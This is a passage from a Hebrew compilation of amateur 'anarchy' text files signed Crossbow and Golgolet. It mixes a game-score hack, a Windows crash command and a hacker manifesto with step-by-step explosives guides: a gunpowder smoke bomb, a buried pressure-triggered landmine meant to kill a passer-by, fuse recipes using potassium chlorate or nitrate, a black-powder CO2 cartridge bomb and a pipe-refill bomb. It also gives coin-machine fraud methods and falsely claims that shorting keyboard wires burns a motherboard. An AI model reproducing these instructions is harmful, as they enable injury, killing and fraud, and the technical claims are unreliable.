‫‪ Time1‬מציין את זמן השיא של הרמה הקלה‪ ,‬הפרמטר ‪ Time2‬מציין את זמן השיא‬
‫של הרמה הבינונית‪ ,‬והפרמטר ‪ Time3‬מציין את זמן השיא של הרמה הקשה‪ .‬כאן‪,‬‬
‫כמו בפרמטרים שמציינים את השם‪ ,‬פשוט משנים‪ .‬נגיד היה כתוב לי ‪,Time1=44‬‬
‫אבל אני רוצה שיהיה כתוב שם שסיימתי בשנייה אחת ולא בארבעים וארבע‪ ...‬אז‬
‫פשוט נשנה את השורה ונכתוב ‪ ...Time1=1‬ישנם עוד פרמטרים‪ ,‬אבל אותם אפשר‬
‫לשנות בתוך המשחק עצמו‪ .‬למשל‪ ,‬פרמטר ‪ Color‬מציין צבעוניות‪ :‬אם הערך שלו‬
‫הוא אחד‪ ,‬אז המשחק צבעוני‪ ,‬אם הוא אפס‪ ,‬אז המשחק שחור לבן‪ .‬תמיד תזכרו‬
‫שמידע צריך להשמר איפשהו‪ ,‬בקובץ כלשהו‪ ,‬או ברג'יסטרי‪ ,‬ויש לכם גישה מלאה‬
‫לכל מקום שתרצו‪ ...‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫רוצים להרוס את המחשב בבקשה‬


‫תקיעת המחשב‬
‫עובד רק אם יש לכם וינדואוז‪ ...‬כי זה מייקרוסופט‪ ...‬כמובן! אז לעבודה‪...‬‬
‫לחצו על תפריט ה‪" -‬התחל"‪ ,‬לחצו על "הפעלה"‪ .‬באנגלית "התחל" זה ‪ ,Start‬וגם‬

‫‪383‬‬
‫"הפעלה" זה ‪ ...Run‬ומי שלא ידע שיחזור לכיתה ג'‪ .‬עכשיו נפתח לכם כזה חלון‬
‫יפה עם מקום לכתוב טקסט‪ ...‬תכתבו שם ככה‪ con/con :‬ואז תלחצו אנטר‪ .‬אם לא‬
‫נתקע לכם המחשב ואתם עדיין רואים את הקובץ הזה תכתבו שם‪ con/nul :‬ותלחצו‬
‫אנטר‪ .‬עכשיו‪ ,‬מה עשינו‪ :‬דפקנו את המחשב‪ ,‬המערכת הפסיקה להגיב‪ ,‬ובקיצור‪,‬‬
‫מייקרוסופט אהבלים‪ ...‬אז תהנו‪ ,‬שלכם‪,‬‬

‫‪Crossbow‬‬
‫שריפת הלוח אם‬
‫לא מומלץ לבעלי לב חלש!!! טוב‪ ,‬תכבו את המחשב‪ .‬יופי‪ .‬תקחו סכין ותחתכו‬
‫בעדינות את החוט שמחבר בין המקלדת למחשב‪ ...‬עכשיו יש שם משהו כמו חמישה‬
‫חוטים‪ .‬תפתחו גם אותם‪ ,‬ותחברו את כולם אחד עם השני‪ .‬עכשיו‪ ,‬ברגע שמישהו‬
‫ידליק את המחשב‪ ,‬כל לוח האם יישרף! וזה בגלל שיצרנו עומס יתר כזה על הלוח‬
‫אם‪ ,‬כי המקלדת שולחת מיליארד פקודות בשנייה ללוח האם‪...‬‬

‫תהנו‪ ,‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫תכניקת פצצות‬
‫אהלן! טקסט זה מיועד לאנשים שבונים פצצות‪ ,‬אבל רוצים לשפר את הפצצות כך‬
‫שיהיו יותר‪ ...‬מרהיבות! אז בקיצר‪ ,‬אני אסביר פה קצת על עקרון חשוב שנקרא‬
‫עקרון החרוט‪ .‬עכשיו‪ ,‬בת'כלס‪ ,‬עקרון זה עובד המון על פיזיקה מכנית‪ ,‬אבל פה‬
‫אני פשוט אסביר לכם את זה בלי הבולשיט‪ .‬אוקיי‪ .‬נגיד שאנחנו מפוצצים פצצה‬

‫‪384‬‬
‫ומסביבה חרוט עץ‪ .‬עכשיו‪ ,‬חרוט העץ מתפוצץ באופן כמעט אנכי‪ .‬הסיבה לכך היא‬
‫פיזיקלית ‪ -‬צורת החרוט גורמת לזה‪ .‬עכשיו‪ ,‬אפשר גם להסביר את זה כמו שהיה‬
‫בסרט ארמגדון‪ .‬נגיד שאנחנו מחזיקים ביד פצצה‪ .‬עכשיו‪ ,‬אם היד פתוחה והפצצה‬
‫תתפוצץ‪ ,‬אז היד קצת תדפק‪ ,‬אבל אם היד תהיה מהודקת וסגורה על הפצצה‪ ,‬מה‬
‫שייקרה הוא שחצי רחוב יהיה ממולא באצבעות שלך‪...‬‬
‫אז תשימו ת'פצצה שלכם בתוך החרוט‪ ,‬ותראו מה ייקרה‪...‬‬
‫אז תהנו‪ ,‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫רוצה לשלוח הודעה בעיברית ואין לך עיברית בפלאפון‬


‫אני בטוח שחלק מכם שולח הודעות דרך אייסיקיו לפלאפון‪ .‬אני גם יודע מנסיון‬
‫אישי כמה מבאס זה לנסות לכתוב דרך פלאפון שלא תומך בעברית‪ .‬אז לי יש גם‬
‫את הפתרון!!! אחרי מחקר קצר שעשיתי‪ ,‬גיליתי את האותיות העבריות‪ .‬הנה כל‬

‫‪385‬‬
‫אחת מהן‪:‬‬

‫מ ‪ -‬׳ž‬ ‫א ‪ -‬׳‬
‫ם ‪ -‬׳‬ ‫ב ‪ -‬׳‘‬
‫נ‪-‬׳‬ ‫ג ‪ -‬׳’‬
‫ן ‪ -‬׳Ÿ‬ ‫ד ‪ -‬׳“‬
‫ס ‪ -‬׳!‬ ‫ה ‪ -‬׳”‬
‫ע ‪ -‬׳‪¢‬‬ ‫ו ‪ -‬׳‪%‬‬
‫פ ‪ -‬׳‪₪‬‬ ‫ז ‪ -‬׳–‬
‫ף ‪ -‬׳‪£‬‬ ‫ח ‪ -‬׳—‬
‫צ ‪ -‬׳¦‬ ‫ט ‪ -‬׳ק‬
‫ץ ‪ -‬׳‪¥‬‬ ‫י ‪ -‬׳*‬
‫ק ‪ -‬׳'‬ ‫כ ‪ -‬׳›‬
‫ר ‪ -‬׳)‬ ‫ך ‪ -‬׳š‬
‫ש ‪ -‬׳©‬ ‫ל ‪ -‬׳œ‬
‫ת ‪ -‬׳×‬
‫שימו לב שכל אות מורכבת משני תווים‪ .‬אפילו האות נון הרגילה לכאורה נראית‬
‫מורכבת מתו אחד‪ ,‬אבל בת'כלס יש שם שניים‪ .‬עכשיו‪ ,‬זה חשוב מאוד לא לכתוב‬
‫את התווים בעצמכם‪ ,‬אלא להעתיק‪ .‬חוץ מהאותיות האלה‪ ,‬כל שאר התווים רגילים‪,‬‬
‫יעני סימני פיסוק‪ ,‬רווחים וכאלה‪ .‬לדוגמא‪ ,‬הנה משפט בעברית‪:‬‬

‫׳׳ ׳* ׳'׳)׳‪%‬׳!׳‘׳‪%‬׳‪ .%‬׳ž׳” ׳”׳ž׳¦׳‘?‬

‫אני קרוסבוו‪ .‬מה המצב?‬

‫יש מבין? עכשיו‪ ,‬אני לא רוצה שסתם תקבלו טריק‪ ,‬אלא תבינו גם איך‪ .‬אז‪ ,‬איך‬
‫גיליתי את זה? שלחתי לפלאפון האישי שלי מפלאפון תומך עברית (של אבא שלי)‬
‫את כל האותיות העבריות‪ ,‬יעני מה שיצא הוא שקיבלתי הודעה כזאת‪:‬‬

‫אבגדהוזחטיכךלמםנןסעפףצץקרשת‬

‫עכשיו‪ ,‬ברגע שקיבלתי‪ ,‬שלחתי את ההודעה הזאת לאינטרנט‪ ,‬למספר אייסיקיו שלי‬
‫ליתר דיוק‪ ,‬ואז קיבלתי את האותיות המוזרות האלה‪ .‬זה היה נראה ככה‪:‬‬

‫׳ ׳‘׳’׳“׳”׳‪%‬׳–׳—׳ק׳*׳›׳ š׳ œ׳ ž׳ ׳ ׳ Ÿ׳!׳‪¢‬׳‪₪‬׳‪£‬׳¦׳‪¥‬׳'׳)׳©׳×‬

‫עכשיו מה‪ ,‬אני רואה שיש ‪ 27‬אותיות עבריות‪ ,‬אבל יש פה ‪ 54‬תווים‪ .‬מפה אפשר‬
‫להבין שהקידוד של כל אות עברית הוא שני סימנים‪ ,‬ולכן הגעתי למסקנה שבעצם‬
‫כל אות היא שני סימנים‪ ,‬ואז חילקתי‪ .‬עשיתי בדיקה‪ ,‬ומסתבר שצדקתי‪ .‬מעכשיו‪,‬‬
‫דברו בשפת הקודש‪ .‬אולי בעתיד אני אבנה תוכנה שהופכת עברית לקידוד כזה‪,‬‬
‫ואז תשלח‪ .‬שלכם‪,‬‬

‫‪Crossbow‬‬

‫המניפסטו העברי של קרוסבוו‬


‫"אל תתעסק עם זה"‪" .‬זה לא חוקי"‪" .‬יעצרו אותך"‪" .‬זה פלילי"‪" .‬רק שתדע שזה‬
‫מסוכן"‪" .‬אני מנתק עכשיו את האינטרנט"‪ .‬אלה המילים של רוב ההורים שלנו‪,‬‬
‫כשהם מגלים‪ .‬כשהם מגלים מי אנחנו‪.‬‬

‫הסתכלתם פעם לתוך עיניים של האקר? חשבתם פעם איך נראה האקר? אני יודע את‬

‫‪386‬‬
‫התשובה‪ .‬אני יודע איך האקר נראה‪ :‬האקר לא נראה‪ ,‬האקר מדבר‪ .‬אף אחד מכם לא‬
‫יכול לראות בנאדם ברחוב‪ ,‬ולהגיד "זה האקר"‪ .‬כי האקר לא נראה‪ ,‬האקר נשמע‪.‬‬
‫האקר אפשר לזהות על פי המילים שלו‪ .‬על פי הסקרנות שלו‪ ,‬שלא פוסקת‪ ,‬שנראה‬
‫שאף פעם לא תגמר‪ .‬האקר זה אחד שקורא ספרים‪ ,‬גם מחוץ לבית ספר‪ .‬אתם יודעים‬
‫אולי למה? האקר סקרן‪ .‬האקר חייב לדעת‪ .‬צודק‪ .‬איך אפשר לחשוב בכלל על זה‬
‫שמישהו יודע משהו‪ ,‬ואתה לא? אי אפשר‪ .‬אתם יכולים כולכם ללכת לבית ספר‪,‬‬
‫ולסיים בהצטיינות‪ ,‬ועדיין לא לדעת‪ .‬בבית ספר לא יודעים‪ .‬בבית ספר לומדים‪.‬‬

‫אתם קוראים לנו פושעים‪ .‬אתם יודעים למה? אנחנו פושעים כי אתם לא יכולים‬
‫לזהות אותנו‪ ,‬אתם לא יכולים לדעת מי האקר ומי לא לפי איך שהוא נראה‪ .‬זאת‬
‫בעצם אשמתכם‪ .‬תראו איך לכל דבר בעולם הדביקו תווית‪ :‬חנון זה זה שלובש‬
‫משקפיים‪ ,‬אערס זה זה עם הגרעינים‪ ,‬פריק זה זה עם המכנסיים הענקיות‪ ,‬רוקר‬
‫זה זה עם השיער המוזר והגיטרה החשמלית‪ .‬ומה זה האקר? אין תשובה‪ .‬נסו פעם‬
‫לצייר האקר‪ .‬אי אפשר‪ ,‬כי אתה לא יודע מי אנחנו‪.‬‬

‫אנחנו כולנו רק שמות בדויים‪ .‬ניקניימז שמייצגים אותנו‪ .‬יום אחד‪ ,‬כולנו‬
‫נוכל להזדהות‪ .‬יום אחד‪ ,‬הניקניימז יהפכו לפרצופים‪ ,‬יהפכו לבני אדם‪ .‬ואז‬
‫אנחנו נראה מי אתם‪ .‬איך זה יכול להיות שבנאדם זקן בן ‪ 40‬שלא יודע מה זה‬
‫הארד דיסק נהיה לי איזה ראש מחשבים בבית ספר? אל תזלזלו בנו כי אנחנו רק‬
‫ילדים‪ .‬אל תחשבו אפילו על לזלזל באף ילד שיש בעולם‪ .‬אני אף פעם לא אחשוב‬
‫שאני האקר‪ .‬אתם יודעים למה? כי תמיד יש משהו חדש ללמוד‪ .‬תמיד יש עוד שפת‬
‫תיכנות‪ ,‬או עוד באג‪ .‬האקר זה אחד שרוצה לדעת תמיד‪ .‬רוצה לדעת מסקרנות‪.‬‬

‫אני קרוסבוו‪ ,‬וזה המסר שלי לכל ההאקרים בעולם‪ :‬תראו לאנשים הבכירים מה‬
‫אתם יכולים לעשות‪ .‬ולכל אלה שחושבים שאנחנו פושעים‪ :‬אתם אף פעם לא תעצרו‬
‫אותנו‪ ,‬כי בת'כלס‪ ,‬אנחנו רק ילדים‪ ,‬נכון?‬

‫קצת על עבודה במערכת הפעלה‬


‫טוב‪ ,‬אני מאמין שעכשיו מי שקורא עובד על וינדואוז‪ ,‬אז בואו נסביר איך כל‬
‫המערכת הפעלה בעצם עובדת‪ .‬טוב‪ ,‬לצורך ההסבר אני מבקש מכם עכשיו לקחת קובץ‬
‫מסויים‪ ,‬נגיד איזה מסמך מטומטם‪ ,‬וללחוץ על החלק הימני של העכבר‪ .‬עכשיו‬
‫תלחצו על "העתק"‪ .‬בת'כלס‪ ,‬שום דבר לא קרה‪ .‬אבל מה שקרה באמת‪ ,‬הוא שהקובץ‬
‫נשמר‪ .‬עכשיו‪ ,‬יש כמה צורות לשמירה‪ :‬יש תמונה‪ ,‬צליל או טקסט‪ .‬טוב‪ ,‬עכשיו‬
‫תיכנסו לתיקייה שבה וינדואוז מותקן‪ ,‬ותפתחו את תצוגת הלוח‪ ,‬ובקיצר‪ ,‬תפתחו‬

‫‪387‬‬
‫‪C:\Windows\Clipbrd.exe‬‬
‫עכשיו אתם אמורים לראות טקסט‪ .‬עכשיו‪ ,‬למה טקסט לעזאזל? התשובה היא שהטקסט‬
‫שאתם רואים הוא בעצם המיקום המדוייק של הקובץ שאותו אנחנו רוצים להעתיק‪.‬‬
‫טוב‪ ,‬זה בעצם הרעיון של ההעתקה‪ .‬עכשיו נעשה משהו יותר יפה‪ :‬אנחנו הולכים‬
‫להעתיק תמונה‪ .‬תיכנסו לצייר ושרבטו משהו‪ .‬עכשיו‪ ,‬תלחצו על החלק הזה בכלים‬
‫של הצייר שנראה כמו ריבוע שעשוי מקווים‪ ,‬ואז תגררו את העכבר כשהוא לחוץ‬
‫לאורך חלק מהציור שלכם‪ .‬עכשיו תלחצו על החלק הימני של העכבר על החלק‬
‫שעכשיו מסומן במלבן‪ ,‬ואז ייעלה לכם תפריט‪ ,‬ואז תלחצו על "העתק"‪ .‬עכשיו‬
‫אני רוצה שתצאו מהצייר‪ .‬אל תשמרו‪ ,‬אל תעשו כלום‪ .‬תיכנסו עוד פעם לתצוגת‬
‫הלוח‪ .‬עכשיו‪ ,‬אם עשיתם הכל נכון‪ ,‬צריך להיות החלק שהעתקתם‪ .‬אם הבנתם נכון‬
‫אז אתם יודעים איך ההעתקה פועלת‪ :‬כשאנחנו לוחצים על "הדבק" אנחנו בעצם‬
‫משתמשים במה שנמצא בתצוגת הלוח‪ ,‬ובגלל זה כשאנחנו מעתיקים משהו ואחרי זה‬
‫משהו אחר הוא תמיד יעתיק רק את הדבר האחרון שהוכנס אל תצוגת הלוח‪.‬‬

‫טוב‪ ,‬עכשיו פתיחת קבצים‪ .‬כשאתם פותחים קובץ מסויים‪ ,‬נגיד קובץ אם פי שלוש‬
‫של להקת קווין האגדיים‪ ,‬והקובץ נפתח דרך נגן מסויים‪ ,‬זה בעצם עובד אחרת‪.‬‬
‫עכשיו אני הולך לתרגם את הפקודות של מערכת וינדואוז לתוך מערכת אם אס דוס‬
‫אז מי שלא יודע אם אס דוס שיילמד‪ ,‬טוב? עכשיו‪ ,‬בוינדואוז אתם לוחצים על‬
‫העכבר פעמיים על הקובץ שאתם רוצים לפתוח‪ .‬באם אס דוס זה אחרת‪:‬‬

‫‪CALL C:\Windows\Winamp\Winamp.exe C:\Music\Queen.mp3‬‬

‫עכשיו‪ ,‬הפקודה מחולקת לשלוש‪ .‬החלק הראשון הוא ההצהרה למערכת שאנחנו רוצים‬
‫להתחיל קובץ‪ .‬זאת המילה הראשונה שבאותיות גדולות‪ .‬המילה היא‬
‫‪CALL‬‬
‫טוב‪ ,‬החלק השני הוא התוכנית שאותה אנחנו רוצים להפעיל‪ ,‬מיקום מלא‪ .‬טוב‪,‬‬
‫החלק האחרון הוא הקובץ שאנחנו רוצים לפתוח‪ .‬עכשיו‪ ,‬אם אנחנו לא נכתוב את‬
‫החלק השלישי המערכת תפתח את התוכנה בלי שום קובץ פתוח‪.‬‬

‫טוב‪ ,‬דבר אחרון‪ :‬קיצורים בהפעלה‪ .‬שמתם לב לפעמים שאתם יכולים לכתוב משהו‬
‫בתוכנית "הפעלה" שבתפריט "התחל"? זה בגלל שהתוכנית כנראה ממוקמת בתוך‬
‫הסיפרייה של וינדואוז‪ .‬בגלל זה יש המון תוכניות‪ ,‬אפילו מטומטמות שאפשר‬
‫לפתוח בלי לרשום מיקום מלא‪ .‬הנה חלק‪:‬‬

‫‪KODAKIMG‬‬ ‫‪ASD‬‬
‫‪KODAKPRV‬‬ ‫‪REGEDIT‬‬
‫‪MPLAYER‬‬ ‫‪PBRUSH‬‬
‫‪NOTEPAD‬‬ ‫‪DIALER‬‬
‫‪NETWATCH‬‬ ‫‪DEFRAG‬‬
‫‪OUTLOOK‬‬ ‫‪CDPLAYER‬‬
‫‪PROGMAN‬‬ ‫‪EXPLORER‬‬
‫‪FREECELL‬‬
‫טוב‪ ,‬אז איך עושים שמשהו ייפתח בלי מיקום מלא? בונים קיצור דרך! נכנסים‬
‫לתיקייה של וינדואוז‪ ,‬ובונים קיצור דרך למיקום שאתם רוצים‪ ,‬וזהו‪ .‬השם של‬
‫הקיצור דרך יהיה השם של הקיצור להפעלה בלי מיקום מלא!‬
‫טוב‪ ,‬אז תחקרו את המערכת הפעלה הרבה‪ ...‬שלכם‪,‬‬

‫‪Crossbow‬‬
‫פצצת עשן מכדור פינג‪-‬פונג‬
‫הערה‪ :‬גיליתי פצצה זו כשניסיתי ליצור פצצה רגילה מכדור פינג‪-‬פונג‬
‫וזה עבד בחמש פעמים מתוך חמש שניסיתי‪.‬‬

‫חומרים‪:‬‬

‫*כדור פינג‪-‬פונג‬

‫‪388‬‬
‫*אבק שריפה‬
‫*בערך ‪ 60‬ראשי גפרורים‬
‫*סכין או מספריים חדות‬
‫*דבק פלסטי‬
‫*פתיל (אני אכין שני טקסטים על איך להכין פתילים מוצלחים)‬

‫אופן ההכנה‪:‬‬

‫קחו כדור פינג‪-‬פונג ועשו בו חור בעזרת סכין או מספריים חדות‪.‬‬


‫מלאו את הכדור ‪ 50%‬אבק שריפה ובמקום הנותר את ראשי הגפרורים‪.‬‬
‫הכניסו פתיל ושיהיה חצי בחוץ חצי בפנים‪.‬‬
‫וכדי שיהיה עשן מרחו מסביב שכבה דקה ככל האפשר של דבק פלסטי‪.‬‬

‫‪Golgolet‬‬

‫איך להכין מוקש‬


‫קודם כל אתם צריכים לחצן‪ ,‬שעליו ידרכו כדי להפעיל את המוקש‪.‬‬
‫קח את שני החוטים מהלחצן‪ ,‬חבר אחד לבטריה של תשע וולט ואת השני למדליק סולארי‬
‫(בדרך כלל אפשר למצוא במודלים של טילים)(אני אעשה טקסט נוסף על זה)‪ .‬אם לא מצתאם‬
‫מדליק סולארי‪,‬‬
‫חתיכה דקה מאוד של חוט סטריאו יעשה את הטריק‪ ,‬אבל אני מאוד מאוד מאוד ממליץ על‬
‫מדליק סולארי‪.‬‬

‫‪389‬‬
‫את החוט השני של הבטריה מחברים למדליק הסולארי ומהמדליק הסולארי מחברים פיוז (גם‬
‫על זה אני‬
‫יעשה טקסט) לפצצה (פצצות מומלצות‪ -‬פצצת צינור(‪ ,)pipe bomb‬פצצת ‪ CO2‬וכדומה)‪.‬‬

‫רישום של המוקש‪:‬‬

‫סוללה ‪-------------‬לחצן‬
‫\‬ ‫‪/‬‬
‫\‬ ‫‪/‬‬
‫\‬ ‫‪/‬‬
‫\‬ ‫‪/‬‬
‫\‬ ‫‪/‬‬
‫מדליק סולאר‬

‫פצצה‬

‫עכשיו לאחר שיש לכם מוקש חפרו בור‪ ,‬לא עמוק מדי אבל מספיק עמוק שהכל יכנס (העומק‬
‫תלוי באיזה‬
‫לחצן אתם משתמשים ובאיזו פצצה) לאחר כיסוי הבור השאירו את הלחצן גלוי אך לא גלוי מדי‪.‬‬
‫שתלו את הפצצה ‪ 4-1‬מטרים מהלחצן(תלוי באיזו מהירות הבנאדם הולך‪,‬רץ זוחל‪ ,‬הולך‬
‫וכדומה)‪.‬‬
‫אם צדקתם בחישוביכם הבנאדם‬
‫המסכן‪...‬בבבבבבבבבבווווווווווווווווווםםםםםםםםםםםםםםםםםםם!!!‬

‫חי‪,‬חי‪,‬חי‪...‬‬

‫שלכם בפיצוציות‪,‬‬

‫‪Golgolet‬‬

‫איך להכין פתיל‬


‫פתיל שנשרף מהר‪:‬‬

‫‪>--‬חוט כותנה רך‬


‫‪ >--‬אבקה שחורה (‪)fine black powder‬‬

‫‪ .1‬תמיסו את האבקה בשבי ‪ k‬ליצור הדבקה‬

‫‪390‬‬
‫‪ .2‬סובבו ‪ 3‬חוטי כותנה‬
‫‪.3‬תדביקו את שלושת החוטים עם ההאבקה‬
‫‪ .4‬תחברו לפצצה‬

‫פטיל שנשרף לאט‪:‬‬

‫‪>--‬חוט כותנה רך‬


‫‪>--‬פוטאסיום ניטראט (‪ )potassium nitrate‬או פוטאסיום צ'לוראט (‪)potassium chlorate‬‬
‫‪>--‬סוכר ממוס (‪)granulated sugar‬‬
‫‪ 3>--‬שרוכים‬

‫‪ .1‬רחצו את הכותנה במים חמים ועם סבונים ואז תנקו עם מים נקיים‬
‫‪ .2‬תערבבו את הבאים בקערה‪:‬‬

‫*‪ 1‬חתיכה של פוטאסיום ניטראט או פוטאסיום צ'לוראט‬


‫*‪ 1‬חתיכה של סוכר מומס‬
‫*‪ 2‬חתיכות של המים החמים‬

‫‪.3‬תטבלו את שלושת השרוכים בתערובת‬


‫‪.4‬חברו בינהם‬
‫‪.5‬חברו לפצצה‬

‫אלו היו הפיוזים הקיצוניים ביותר‪ ,‬אולי‪ ,‬אם ישעמם לי‪ ,‬אני יכתוב על פתילים אחרים‪.‬‬

‫שלכם‪,‬‬

‫‪Golgolet‬‬

‫פצצת ‪CO2‬‬
‫הערה‪ :‬יעיל בשביל מוקשים אך גם יעיל בתור פצצה רגילה‬

‫קחו מחסנית ריקה ועם ציפורן או משהו‪ ,‬תגדילו את החור בחמש סנטימטרים‪.‬‬
‫מלאו את המחסנית באבקה שחורה ותאחסנו את זה טוב טוב ע"י דפיקת התחתית של המחסנית‬
‫על משטח קשה‪.‬‬
‫(דפיקה קלה לא הכאה!) הכניסו פתיל‪.‬‬

‫‪391‬‬
‫אני יודע שזה הסבר קצר אבל זה קשה! וזו פצצה חזקה! יכול לפוצץ מה שאתם לא רוצים!~!~!‬

‫שלכם‪,‬‬

‫‪Golgolet‬‬

‫לחצן פשוט למוקשים‬


‫חומרים‪:‬‬

‫*(‪ )2‬חתיכות מתכת דקות (‪ 2‬סנטימטר לרוחב ו‪ 5 -‬סנטימטר לגובה כל אחד)‬


‫*(‪ )2‬חוטי חשמל‬
‫*(‪ )1‬סלוטייפ צינורות‬

‫דרך העבודה‪:‬‬

‫קחו את שתי חתיכות המתכת ותקדחו חור בסופם‪:‬‬


‫_____‬
‫|‬ ‫|‪o‬‬

‫‪392‬‬
‫|‬ ‫|‬
‫|‬ ‫|‬
‫|‬ ‫|‬
‫|‬ ‫|‬
‫‪-----‬‬

‫על חתיכה אחת ותדביקו סלוטייפ צינורות על שני שליש שלה‪:‬‬


‫_____‬
‫| ‪| o‬‬
‫|‬ ‫|‬
‫|****** |‬
‫|****** |‬
‫|****** |‬
‫‪-----‬‬
‫על החתיכה השנייה תדביקו סלוטייפ צינורות על חצי שלה‪:‬‬
‫_____‬
‫| ‪| o‬‬
‫|‬ ‫|‬
‫|‬ ‫|‬
‫|****** |‬
‫|****** |‬
‫‪-----‬‬

‫עכשיו‪ ,‬שימו שימו אותם אחד על השני (את החתיכה השנייה על הראשונה)‬
‫ותכופפו את העליונה ‪ 45‬מעלות למעלה‬
‫‪/‬‬
‫‪/‬‬
‫‪ - === ===/‬סלוטייפ צינורות‬
‫‪ - --- =====---‬מתכת‬
‫תחברו את שתי החתיכות עם סלוטייפ צינורות ותכנסיו את שתי החוטי חשמל בחורים‬

‫""""‪/‬‬
‫""" ‪ -‬חוטי חשמל‬ ‫‪/‬‬
‫=== ‪ -‬סלוטייפ צינורות‬ ‫‪=====/‬‬
‫‪ - ---‬מתכת‬ ‫""""‪=====---‬‬

‫זהו! זה מוכן!‬

‫שלכם‪,‬‬
‫‪Golgolet‬‬
‫פצצת רפיל‬
‫כןכן שלום לכם שוב‪ .‬אם השעה היא היא ‪ 11:00‬בבוקר‪,‬‬
‫עדיף שתלכו לישון‪ ,‬אתם עוד קטנים לפצצות (וייי אני חמוד) !!!‬

‫או קי קחו רפיל מנחושת של עט ישנה או שתבקשו באיזה חנות כלי כתיבה‪ ,‬עט עם רפיל נחושת‬
‫תוציאו ממנו חצי מהכמות שיש שם‪(.‬מה אתה לא יודע מה זה ?! ‪ ,‬זה הגליל הקטן שבתוכו יש‬
‫דיו)‬
‫ותעשה בו איזשהו פתח שתוכל להכניס ולגרד לתוכו את הגפרית (אתם יודעים הראש של‬
‫הגפרור)‪.‬‬
‫אחרי שגירדתם הרבה גרגרגר‪.‬‬
‫כן אחרי שגירדתם הרבה גרגרגרים לתוך הרפיל תשימו קצת אבקת אפיה וחומץ‪ ,‬תגידו להורים‬
‫שאתם רוצים‬
‫אבקת אפיה וחומץ לפוצץ איזה ילד שעיצבן אותכם‪ ,‬סתם סתם אני אומר לאימה שלי שלמדתי‬
‫קסם חדש עם חומץ‪,‬‬
‫ואני צריך קצת‪ ,‬או שאפשר להגיד עקץ אותי יתוש בתחת תני לי חומץ בקשההההה זה מגרד‪.‬‬

‫‪393‬‬
‫בכל מקרה תדליקו מדורה‪ ,‬שתיהיה גדולה אל תפחדו כן אחרת זה לא שווה ‪,‬‬
‫(כן אני יודע תתרחקו מהבית אם הוא חשוב לכם ואתם לא רוצים להרוג את שושנה השכנה‬
‫ממול‪,‬‬
‫שכרגיל שואלת "מפגרים מה זה הרעש הזה" (כמו בסרטים אהה ??)‪.‬‬
‫ותזרקו את הפצצה אל האש לאחר שסגרתם את הרפיל טוב טוב טוב משתי הצדדים עם צבת (עם‬
‫אתם לא מצליחים תבשקו ממישהו מבוגר‪).‬‬
‫כי כל הקטע שתיהיה שריפה בתוכו שלא תוכל לצאת‪ ,‬ואז תזרוק לאש ופתאום תשמע‬
‫‪!!! BOOOOOOOOOOOOOOOOOOOMMMM‬‬

‫אם גם לכם יש פצצות ואתם רוצים שהעולם יתפוץ יותר מהר ולעזור למחבלים‪ ,‬שלחו לנו‬
‫‪HFM@2die4.com‬‬ ‫לכתובת ‪:‬‬

‫‪Golgolet‬‬

‫לעבוד על מכונות של משחקים בקניון‬


‫והיום נלמד כמה דרכים לרמות מכונות כאלה ששמים כסף!‬
‫אם זה לא עובד לכם ‪ -‬בעיה שלכם! לי זה עבד‪.‬‬
‫ישנן כמה שיטות טובות לעשות זאת‪:‬‬

‫‪ -‬מכוניות כאלה לילדים ששמים שקל וזה מתחיל ללכת קדימה ואחורה כמה דקות‬
‫והילד חושב שהוא נהנה‪ :‬קחו מטבע של פראנק *בלגי* אחד‪ ,‬רצוי מהסוג הישן‪ .‬מטבע‬
‫כזה שווה‬
‫עשר אגורות‪ ,‬בעוד שאם תשימו אותו במכונה כזאת היא תחשוב שהוא שקל‪ .‬זה בדרך‬
‫כלל עובד רק‬
‫במכונות כאלה‪ ,‬ולא במכונות שתייה ‪ /‬חטיפים ‪ /‬וכו'‪.‬‬

‫‪ -‬עוד אחד למכונות כמו למעלה‪ :‬לחצו על הכפתור שמתחת לחריץ הכנסת השקל‪ ,‬ובעודכם‬
‫לוחצים עליו‬
‫הכניסו שקל‪ .‬השקל אמור לצאת חזרה והמכונה תפעל‪ .‬אני לא יודע אם זה יפעל תמיד‪,‬‬

‫‪394‬‬
‫אני יודע‬
‫שבשבילי זה פעל פעמיים מתוך פעמיים שניסיתי‪ .‬וגם גיליתי את זה בטעות‪ .‬אני לא‬
‫אחראי אם‬
‫זה לא עבד ואיבדתם שקל‪ ,‬אבל כמה זה כבר שקל? שווה לנסות‪ .‬אפשר לעשות את זה‬
‫שוב ושוב‪,‬‬
‫ולרושש את הקניון שזה נמצא בו בחשבון חשמל גבוה‪ .‬בשביל זה כמובן‪ ,‬תצטרכו‬
‫להפעיל את המכונה‬
‫אלפי פעמים‪.‬‬

‫‪ -‬למכונות שתייה‪ :‬הרבה חושבים שהמכונה רואה מה כתוב על המטבע‪ ,‬ולפי זה יודעת‬
‫איזה מטבע זה‪.‬‬
‫אבל זה לא נכון‪ .‬הן שוקלות את המטבעות‪ .‬לכל מטבע יש משקל משלו‪.‬‬
‫קחו מאזניים *אלקטרוניות* וגם *מדוייקות* שיכולות להראות גרמים יחידים!‬
‫מדדו את המשקל של שקל ‪ /‬חצי שקל ‪ /‬חמש שקל ‪ /‬עשר שקל‪ .‬חפשו מטבעות זרים‪ ,‬או‬
‫לירות ישראליות‬
‫ישנות‪ ,‬ונסו שילובים שונים של מטבעות שאם תשימו אותם יחד הם יהיו אותו משקל‬
‫כמו אחד מהמטבעות‬
‫הטובים‪ .‬למשל‪ ,‬אם גיליתם שחמש שקל שוקל ‪ 10‬גרם וחמש סנט שוקל ‪ 3‬גרם‪ ,‬ו‪25-‬‬
‫סנט שוקל ‪ 6‬גרם‪,‬‬
‫תחברו ביניהם ויש לכם חמש שקל‪ .‬דרך אגב‪ ,‬תתעלמו מהמספרים‪ .‬סתם הקרצתי אותם‪,‬‬
‫אני לא זוכר את‬
‫המשקל של הכל‪ .‬אם אתם אומרים‪ 3 :‬ועוד ‪ 6‬שווה ‪ 9‬ולא ‪ :10‬אז תדעו שזה בגלל שיש‬
‫משקל גם לסלוטייפ‬
‫שאתם הולכים לחבר איתו את ה‪ 5-‬סנט וה‪ 25-‬סנט‪ .‬נניח שהוא שוקל גרם‪ .‬אז חיברתם‬
‫אותם עם סלוטייפ‪,‬‬
‫רק תדאגו שזה לא יוצא שכבה גדולה של סלוטייפ כי אז זה לא ייכנס במכונה‪,‬‬
‫ותדאגו שזה יהיה בדיוק‬
‫אותו משקל כמו המטבע המקורי‪ .‬כמובן‪ ,‬תחשבו שהשווי של המטבעות שאתם משתמשים‬
‫בהם יוצא בסה"כ‬
